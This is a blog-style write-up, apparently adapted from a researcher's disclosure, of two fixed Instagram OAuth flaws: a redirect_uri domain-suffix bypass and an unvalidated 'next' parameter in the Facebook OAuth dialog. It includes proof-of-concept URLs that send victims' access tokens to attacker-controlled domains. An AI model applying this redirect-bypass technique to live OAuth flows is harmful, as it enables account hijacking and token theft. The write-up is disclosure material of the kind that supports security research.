Hack Instagram Account
Nir Goldshlager Founder of Break Security
found the critical vulnerability in Instagram. Succesful hack allows
attacker to access private photos and ability to delete victim’s photos,
edit comment and post new photos.
1. Hijack Instagram accounts using the Instagram OAuth (https://instagram.com/oauth/authorize/)2. Hijack Instagram accounts using the Facebook OAuth Dialog (https://www.facebook.com/dialog/oauth)
He reported a few issues to Instagram
Include OAuth Attacks, But the acquisition didn’t closed yet and
Facebook Security was unable to put their hands on security issues in
Instagram, So I was waiting, Waiting like a good WhiteCollar, Then
Facebook Security send me a message, They say even that they were unable
to fix this issues because the acquisition didn’t closed yet, They will
still payout for this vulnerabilities.
So, first, checked Instagram’s OAuth protocol: (http://instagram.com/developer/authentication/)
While researching Instagram’s security
parameters, Nir noticed that Facebook Security had produced some
impressive results in regard to their own Instagram OAuth
vulnerabilities. They essentially blocked access to any and all files,
folders, and subdomains by validate the redirect_uri parameter.
In addition, redirection was only allowed to go to the owner app domain.
Thus, hacker needed to locate some other way to get past their protection. Further complicating the issue was the fact that you can’t use a site redirection / XSS on the victim’s owner app. This is because you have no access to the files or folders on the owner app domain through the redirect_uri parameter.
Block Files FoldersThus, hacker needed to locate some other way to get past their protection. Further complicating the issue was the fact that you can’t use a site redirection / XSS on the victim’s owner app. This is because you have no access to the files or folders on the owner app domain through the redirect_uri parameter.
For example:
Allow request:
https://apigee.com
Block requests:
Redirect_uri=https://www.breaksec.com
Redirect_uri=https://a.apigee.com/
Redirect_uri=https://apigee.com/x/x.php
Redirect_uri=https://apigee.com/%23,? or any special sign
As it stands, it appears that the redirect_uri is invulnerable to OAuth attacks.
While researching, I came upon a sneaky
bypass. If the attacker uses a suffix trick on the owner app domain,
they can bypass the Instagram OAuth and then send the access_token code
to their own domain.
For instance:Let’s say Nir app client_id in Instagram is 33221863xxx and my domain is breaksec.com
In this case, the redirect_uri parameter
should allow redirection only to my domain (breaksec.com), right? What
happens when we change the suffix in the domain to something like:
Breaksec.com.mx
In this example, the attacker can send
the access_token, code straight to breaksec.com.mx. For the attack to be
successful, of course, the attacker will have to buy the new domain (in
this case, breaksec.com.mx).
PoC Bypass (Fixed By Facebook Security Team):https://instagram.com/oauth/authorize/?client_id=33221863eec546659f2564dd71a8a38d&redirect_uri=https://breaksec.com.mx&response_type=token
Game Over.
Bug 2.
With this bug, Nir used the Instagram client_id value through the Facebook OAuth (https://www.facebook.com/dialog/oauth).
When you use the Instagram app, it can be integrated with Facebook.For example:
When a user wants to upload their Instagram photos to Facebook, they allow this interaction and integration to take place.
Instagram Would like to access your public profile and friend list
Nir discovered that an attacker can use
virtually any domain in the redirect_uri, next parameter. This was
actually sort of baffling, and I don’t know why this happened, but it
worked. You can literally use any domain in redirect_uri, next parameter
via the redirect_uri in Instagram client_id.
This effectively allows the attacker to steal the access_token of any Instagram user,
With the access_token the attacker will
be able to post on the victim behalf in his Facebook account, Access to
his private friends list.
PoC (Facebook Already fixed this issue):
https://www.facebook.com/connect/uiserver.php?app_id=124024574287414&next=http://files.nirgoldshlager.com&display=page&fbconnect=1&method=permissions.request&response_type=token
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